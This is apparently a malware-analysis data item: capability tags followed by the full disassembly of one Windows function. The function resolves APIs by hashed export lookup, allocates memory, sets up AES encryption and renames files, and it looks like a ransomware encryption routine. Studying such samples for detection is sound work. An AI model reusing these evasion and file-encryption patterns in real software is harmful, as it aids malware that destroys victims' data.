Function at 0x140028880
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Move file
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x230], rbx
mov rax, qword [0x14012e190]
xor rax, rsp
mov qword [rbp + 0xd8], rax
mov r13, rdx
mov r15, rcx
mov qword [rsp + 0x30], rcx
mov ecx, dword [rdx + 0x28]
test ecx, ecx
je 0x140028eea
sub ecx, 1
je 0x140028af1
cmp ecx, 1
jne 0x140029275
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x48], rax
xor r14d, r14d
mov qword [rbp - 0x68], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x48]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
lea edx, [r14 + 0x40]
mov rcx, r13
call fcn.14007a2fc
mov rax, qword [r15 + 0x58]
mov edi, 0x300
add rax, rdi
mov qword [rbp - 0x60], rax
mov dword [rsp + 0x20], 0x14
lea r9d, [r14 + 8]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0xb0]
mov rcx, qword [r15]
call qword [sym.imp.NTDLL.dll_NtSetInformationFile]
lea rdi, [r15 + 8]
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xc0]
call fcn.140028420
lea rdx, [r15 + 0x68]
mov r8, qword [r15 + 0x80]
cmp r8, 8
jb 0x140028986
mov rdx, qword [r15 + 0x68]
mov rdi, qword [r15 + 0x78]
mov rbx, 0xffffffffffffffff
test rdi, rdi
je 0x1400289c7
lea rcx, [rdi - 1]
mov rax, rbx
cmp rcx, rbx
cmovb rax, rcx
lea rcx, [rdx + rax*2]
cmp word [rcx], 0x5c
je 0x1400289bf
nop
cmp rcx, rdx
je 0x1400289c7
sub rcx, 2
cmp word [rcx], 0x5c
jne 0x1400289b0
sub rcx, rdx
sar rcx, 1
jmp 0x1400289ca
mov rcx, rbx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
lea rdx, [rcx + 1]
cmp rdi, rdx
cmovb rdx, rdi
lea r9, [r15 + 0x68]
cmp r8, 8
jb 0x1400289f7
mov r9, qword [r15 + 0x68]
lea rcx, [rsp + 0x60]
cmp rdx, 7
ja 0x140028a1e
mov qword [rsp + 0x70], rdx
lea rdi, [rdx + rdx]
mov r8, rdi
mov rdx, r9
call fcn.14009df80
mov word [rsp + rdi + 0x60], r14w
jmp 0x140028a24
call fcn.14002fcb0
nop
lea rax, [rbp + 0xc0]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140028a30
mov r8, rbx
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.14002d5e0
lea rdx, [0x1401374b8]
cmp qword [0x1401374d0], 8
cmovae rdx, qword [0x1401374b8]
mov r8, qword [0x1401374c8]
lea rcx, [rsp + 0x60]
call fcn.14002d5e0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [r15 + 0x68]
cmp qword [r15 + 0x80], 8
jb 0x140028a99
mov rcx, qword [r15 + 0x68]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne bl
lea rcx, [rsp + 0x60]
call fcn.14002d500
movzx edi, byte [r15 + 0x88]
lea rcx, [r15 + 0x68]
call fcn.14002d500
mov edx, 0x90
mov rcx, r15
call fcn.14007a2fc
test dil, dil
jne 0x140028ad6
call fcn.140025be0
test bl, bl
je 0x140029275
mov eax, 1
lock xadd qword [0x1401400f0], rax
jmp 0x140029275
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x50], rax
xor esi, esi
mov qword [rbp - 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x58]
lea rdx, [rsp + 0x50]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [r15 + 0x48], eax
cmp eax, 1
jne 0x140029275
mov rcx, qword [r15 + 0x40]
call fcn.14007a2fc
lea ecx, [rsi + 0x40]
call fcn.14007a00c
mov r12, rax
mov ecx, dword [r15 + 0x60]
xor edx, edx
mov edi, 0x300
mov eax, edi
div rcx
sub rcx, rdx
add rcx, rdi
test rdx, rdx
cmove rcx, rdi
mov qword [r12 + 0x38], rcx
xor eax, eax
mov qword [r12], rax
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], rax
mov eax, dword [r15 + 0x58]
mov dword [r12 + 0x10], eax
mov eax, dword [r15 + 0x5c]
mov dword [r12 + 0x14], eax
mov dword [r12 + 0x28], 2
mov rax, qword [r12 + 0x38]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x40], rsi
nop word [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 0x80]
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x140028bb0
mov rdi, qword [rsp + 0x40]
mov qword [r12 + 0x30], rdi
movaps xmm0, xmmword [0x140140050]
movups xmmword [rdi + 0x284], xmm0
movaps xmm1, xmmword [0x140140060]
movups xmmword [rdi + 0x294], xmm1
movaps xmm0, xmmword [0x140140070]
movups xmmword [rdi + 0x2a4], xmm0
movaps xmm1, xmmword [0x140140080]
movups xmmword [rdi + 0x2b4], xmm1
movaps xmm0, xmmword [0x140140090]
movups xmmword [rdi + 0x2c4], xmm0
movaps xmm1, xmmword [0x1401400a0]
movups xmmword [rdi + 0x2d4], xmm1
movaps xmm0, xmmword [0x1401400b0]
movups xmmword [rdi + 0x2e4], xmm0
movsd xmm1, qword [0x1401400c0]
movsd qword [rdi + 0x2f4], xmm1
mov eax, dword [0x1401400c8]
mov dword [rdi + 0x2fc], eax
lea rcx, [r15 + 0x68]
cmp qword [rcx + 0x18], 8
jb 0x140028c75
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
nop dword [rax + rax]
lea rbx, [rbx + 1]
cmp word [rax + rbx*2], si
jne 0x140028c80
lea r8, [rbx + rbx]
lea rcx, [rdi + 0x3c]
mov rdx, rax
call fcn.14009df80
mov rax, qword [r15 + 0x50]
mov qword [rdi + 0x30], rax
mov eax, dword [r15 + 0x60]
mov dword [rdi + 0x38], eax
movups xmm0, xmmword [r15 + 8]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [r15 + 0x18]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [r15 + 0x28]
movups xmmword [rdi + 0x20], xmm0
lea rdx, [rdi + 0x248]
lea r9, [0x1401400d0]
mov r8d, 0x248
mov rcx, rdi
call fcn.140046400
mov rdi, qword [0x140140da0]
test rdi, rdi
jne 0x140028e9f
mov ebx, esi
mov r11d, 0xd99addc5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140028d82
mov rdi, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0x3e2fb7bc
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140028d79
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
lea rdi, [rdi + 2]
inc r8
cmp r8, r9
jne 0x140028d60
cmp r10d, ebx
jne 0x140028e8b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov esi, ecx
add rsi, r10
shr rcx, 0x20
cmp rsi, r10
je 0x140028e89
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140028e89
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edi, dword [rdx + r15]
add rdi, r10
mov r8d, 0x3e2fb7bc
movzx edx, byte [rdi]
inc rdi
test dl, dl
je 0x140028df8
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
test dl, dl
jne 0x140028de0
cmp r8d, r11d
je 0x140028e0c
test r9d, r9d
jne 0x140028dc0
xor esi, esi
mov rax, qword [rax]
jmp 0x140028d10
mov edx, dword [rsi + 0x24]
add rdx, r10
movzx edi, word [rdx + r9*2]
mov edx, dword [rsi + 0x1c]
add rdx, r10
mov edi, dword [rdx + rdi*4]
add rdi, r10
cmp rdi, rsi
jbe 0x140028e93
lea rax, [rsi + rcx]
cmp rdi, rax
jae 0x140028e93
mov ebx, 0x3e2fb7bc
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140028e55
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140028e40
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140028e78
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea rdi, [rdi + 1]
movzx eax, byte [rdi]
test al, al
jne 0x140028e60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140028d10
mov qword [0x140140da0], rdi
mov r15, qword [rsp + 0x30]
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x70]
mov r8d, dword [r12 + 0x38]
mov rdx, qword [r12 + 0x30]
mov rcx, qword [r15]
call rdi
test eax, eax
jne 0x140029275
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140029275
movzx eax, byte [r15 + 0x88]
test al, al
jne 0x140029275
call fcn.140025be0
jmp 0x140029275
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x50]
call fcn.14009e3e0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x80], rax
mov dl, 1
lea rcx, [rbp + 0x50]
call fcn.140053f00
movabs rax, 0x3fffffffffffffff
mov qword [rbp + 0x70], rax
xor esi, esi
mov qword [rbp + 0x78], rsi
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x68]
call fcn.14002e8f0
mov qword [rbp + 0x80], rax
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rsi
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rbp + 0x48], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rbp + 0x50], rax
mov dl, 1
lea rcx, [rbp - 0x48]
call fcn.140053f00
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 8], rbx
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov dl, 1
lea rcx, [rbp + 0x10]
call fcn.140053f00
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
lea rax, [0x14010da70]
mov qword [rbp - 0x50], rax
lea rax, [0x14010d868]
mov qword [rbp - 0x48], rax
lea rax, [0x14010db40]
mov qword [rbp - 0x18], rax
lea rax, [0x14010dcb0]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x48]
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x50]
call fcn.140058d60
nop
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x40]
mov eax, eax
lea r9, [r15 + 0x28]
lea rdx, [r15 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 0x20]
lea rcx, [rbp - 0x50]
call fcn.140056700
mov eax, dword [r15 + 0x38]
mov rdx, qword [r13 + 0x20]
imul rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140058730
mov rdx, qword [r13 + 0x30]
mov r9d, dword [r15 + 0x38]
mov r8, rdx
lea rcx, [rbp - 0x48]
call fcn.140058170
mov eax, 1
mov dword [r13 + 0x28], eax
mov rdi, qword [0x140140d10]
test rdi, rdi
jne 0x1400291fe
mov ebx, esi
mov r11d, 0xfda87809
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp - 0x80], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1400290d5
mov rdi, qword [rbp - 0x78]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0xbdaf7f08
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x1400290cc
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
add rdi, 2
inc r8
cmp r8, r9
jne 0x1400290b3
cmp r10d, ebx
jne 0x1400291ea
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r14d, ecx
add r14, r10
shr rcx, 0x20
cmp r14, r10
je 0x1400291ea
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x1400291ea
mov r15d, dword [r14 + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edx, dword [rdx + r15]
add rdx, r10
mov r8d, 0xbdaf7f08
movzx edi, byte [rdx]
inc rdx
test dil, dil
je 0x14002914a
nop
movsx edi, dil
xor edi, r8d
imul r8d, edi, 0x1000193
movzx edi, byte [rdx]
lea rdx, [rdx + 1]
test dil, dil
jne 0x140029130
cmp r8d, r11d
je 0x14002915e
test r9d, r9d
jne 0x140029110
xor esi, esi
mov rax, qword [rax]
jmp 0x140029070
mov edx, dword [r14 + 0x1c]
add rdx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rdx + rax*4]
add rdi, r10
cmp rdi, r14
jbe 0x1400291f2
lea rax, [r14 + rcx]
cmp rdi, rax
jae 0x1400291f2
mov ebx, 0xbdaf7f08
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x1400291b5
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x1400291a0
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x1400291d7
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
test al, al
jne 0x1400291c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140029070
mov qword [0x140140d10], rdi
mov r15, qword [rsp + 0x30]
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x6c]
mov r8d, dword [r15 + 0x38]
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r15]
call rdi
test eax, eax
jne 0x140029237
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140029237
movzx eax, byte [r15 + 0x88]
test al, al
jne 0x140029237
call fcn.140025be0
nop
lea rax, [0x1400eab60]
mov qword [rbp - 0x50], rax
lea rax, [0x1400eac08]
mov qword [rbp - 0x48], rax
lea rax, [0x1400eac90]
mov qword [rbp - 0x18], rax
lea rax, [0x1400ead00]
mov qword [rbp + 0x10], rax
lea rcx, [rbp - 0x50]
call fcn.14002ad90
lea rcx, [rbp + 0x48]
call fcn.140029330
mov rcx, qword [rbp + 0xd8]
xor rcx, rsp
call fcn.140079ca0
mov rbx, qword [rsp + 0x230]
add rsp, 0x1e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret